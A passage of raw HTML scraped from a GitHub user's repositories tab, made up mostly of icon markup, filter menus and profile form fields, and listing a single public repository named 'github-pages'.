1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;INLINE_EDIT_BUTTON&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_OVERVIEW&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_REPOSITORIES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PROJECTS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&amp;type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_PACKAGES&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{&quot;event_type&quot;:&quot;user_profile.click&quot;,&quot;payload&quot;:{&quot;profile_user_id&quot;:107093285,&quot;target&quot;:&quot;TAB_STARS&quot;,&quot;user_id&quot;:107093285,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&amp;type=beta" href="/chikitang?tab=projects&amp;type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository&hellip;" autocomplete="off" aria-label="Find a repository&hellip;" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" 